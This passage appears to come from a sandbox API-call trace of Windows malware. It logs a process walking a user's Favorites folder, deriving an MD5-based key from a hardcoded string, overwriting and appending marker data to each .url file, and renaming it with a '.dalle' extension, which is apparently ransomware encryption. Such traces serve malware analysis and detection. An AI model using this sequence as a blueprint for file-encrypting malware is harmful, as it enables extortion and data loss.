Size=0x830) returned 0x307f550 [0121.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.345] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="MSN Websites\\" [0121.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.345] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0121.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.345] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0121.345] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.345] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.345] PathFindFileNameW (pszPath="") returned="" [0121.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.345] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.346] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.346] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.346] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0121.346] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.346] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa6) returned 0x2f7e028 [0121.346] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.346] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url") returned=".url" [0121.346] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.347] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=133) returned 1 [0121.347] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.348] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.348] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.349] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.349] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.349] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.349] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x85, lpOverlapped=0x0) returned 1 [0121.349] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.349] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.349] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.349] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.349] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.350] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.350] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.350] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.350] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.350] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.350] GetLastError () returned 0x0 [0121.350] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.350] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.351] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.351] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.351] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.351] WriteFile (in: hFile=0x618, lpBuffer=0x2f61740*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x2f61740*, lpNumberOfBytesWritten=0x388fb24*=0x80, lpOverlapped=0x0) returned 1 [0121.351] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.351] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.351] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.351] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.351] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.351] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.351] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.351] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.351] CloseHandle (hObject=0x618) returned 1 [0121.352] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.352] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8a0) returned 0x3096780 [0121.352] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.352] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url.dalle")) returned 1 [0121.353] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.353] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.354] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7e028 | out: hHeap=0x5e0000) returned 1 [0121.354] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0121.354] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.354] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa6) returned 0x2f7e028 [0121.354] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.354] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url") returned=".url" [0121.354] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.355] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=133) returned 1 [0121.355] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.357] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.357] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.358] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.358] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.358] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.358] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x85, lpOverlapped=0x0) returned 1 [0121.358] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.358] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.358] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.358] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.358] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.359] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.359] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.359] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.359] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.359] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.359] GetLastError () returned 0x0 [0121.359] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.359] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.359] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.359] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.359] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.359] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.359] WriteFile (in: hFile=0x618, lpBuffer=0x2f61740*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x2f61740*, lpNumberOfBytesWritten=0x388fb24*=0x80, lpOverlapped=0x0) returned 1 [0121.359] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.359] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.360] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.360] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.360] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.360] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.360] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.360] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.360] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.360] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.360] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.360] CloseHandle (hObject=0x618) returned 1 [0121.361] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x2ffff40 [0121.361] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3096780 [0121.361] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffff40 | out: hHeap=0x5e0000) returned 1 [0121.361] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS 